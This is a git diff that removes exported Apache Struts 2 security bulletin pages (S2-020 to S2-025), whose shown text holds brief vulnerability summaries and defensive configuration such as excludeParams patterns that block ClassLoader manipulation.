-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-    &lt;groupId&gt;commons-fileupload&lt;/groupId&gt;
-    &lt;artifactId&gt;commons-fileupload&lt;/artifactId&gt;
-    &lt;version&gt;1.3.1&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div><h3 id="S2-020-Exclude'class'parameter">Exclude 'class' parameter</h3><p>Simple add '^class\.*' to the list of excludeParams as below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptor-ref name="params"&gt;
-  &lt;param name="excludeParams"&gt;^class\..*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*&lt;/param&gt;
-&lt;/interceptor-ref&gt;</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-021.html b/content/docs/s2-021.html
deleted file mode 100644
index 2581664..0000000
--- a/content/docs/s2-021.html
+++ /dev/null
@@ -1,156 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-021</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-021.html">S2-021</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-021</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40510231">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40510231">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40510231">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40510231">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40510231">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40510231">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-021-Summary">Summary</h2>Improves excluded params in ParametersInterceptor and CookieInterceptor to avoid ClassLoader manipulation<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptor-ref name="params"&gt;
-  &lt;param name="excludeParams"&gt;(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*&lt;/param&gt;
-&lt;/interceptor-ref&gt;</pre>
-</div></div><p>It isn't possible to do the same with CookieInterceptor, so don't use wildcard mapping to accept cookie names or implement your own version of CookieInterceptor based on code provided in Struts 2.3.16.2.</p><p>Please be aware that this workaround is not as complete as the corrections in Struts 2.3.16.2</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-022.html b/content/docs/s2-022.html
deleted file mode 100644
index aa0f0c2..0000000
--- a/content/docs/s2-022.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-022</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-022.html">S2-022</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-022</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40511500">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40511500">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40511500">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40511500">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40511500">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40511500">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-022-Summary">Summary</h2>Extends excluded params in CookieInterceptor to avoid manipulation of Struts' internals<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p> [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-023.html b/content/docs/s2-023.html
deleted file mode 100644
index 2237526..0000000
--- a/content/docs/s2-023.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-023</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-023.html">S2-023</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-023</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=48792238">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=48792238">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=48792238">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=48792238">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=48792238">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=48792238">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-023-Summary">Summary</h2>Generated value of token can be predictable<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="conf [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-024.html b/content/docs/s2-024.html
deleted file mode 100644
index 2dae892..0000000
--- a/content/docs/s2-024.html
+++ /dev/null
@@ -1,181 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-024</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-024.html">S2-024</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-024</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=56068279">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=56068279">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=56068279">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=56068279">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=56068279">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=56068279">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-024-Summary">Summary</h2>Wrong <code>excludeParams</code> overrides those defined in <code>DefaultExcludedPatternsChecker</code><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of v [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptor-stack name="myDefaultStack"&gt;
-    &lt;interceptor-ref name="exception"/&gt;
-    &lt;interceptor-ref name="alias"/&gt;
-    &lt;interceptor-ref name="servletConfig"/&gt;
-    &lt;interceptor-ref name="i18n"/&gt;
-    &lt;interceptor-ref name="prepare"/&gt;
-    &lt;interceptor-ref name="chain"/&gt;
-    &lt;interceptor-ref name="scopedModelDriven"/&gt;
-    &lt;interceptor-ref name="modelDriven"/&gt;
-    &lt;interceptor-ref name="fileUpload"/&gt;
-    &lt;interceptor-ref name="checkbox"/&gt;
-    &lt;interceptor-ref name="datetime"/&gt;
-    &lt;interceptor-ref name="multiselect"/&gt;
-    &lt;interceptor-ref name="staticParams"/&gt;
-    &lt;interceptor-ref name="actionMappingParams"/&gt;
-    &lt;interceptor-ref name="params"/&gt;
-    &lt;interceptor-ref name="conversionError"/&gt;
-    &lt;interceptor-ref name="validation"&gt;
-        &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;interceptor-ref name="workflow"&gt;
-        &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;interceptor-ref name="debugging"/&gt;
-    &lt;interceptor-ref name="deprecation"/&gt;
-&lt;/interceptor-stack&gt;</pre>
-</div></div><p>and define the following constant in&#160;<code>struts.xml</code></p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.additional.excludedPatterns" value="^(action|method):.*"/&gt;</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-025.html b/content/docs/s2-025.html
deleted file mode 100644
index 8afcd7e..0000000
--- a/content/docs/s2-025.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-025</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-025.html">S2-025</a>
-        </td>
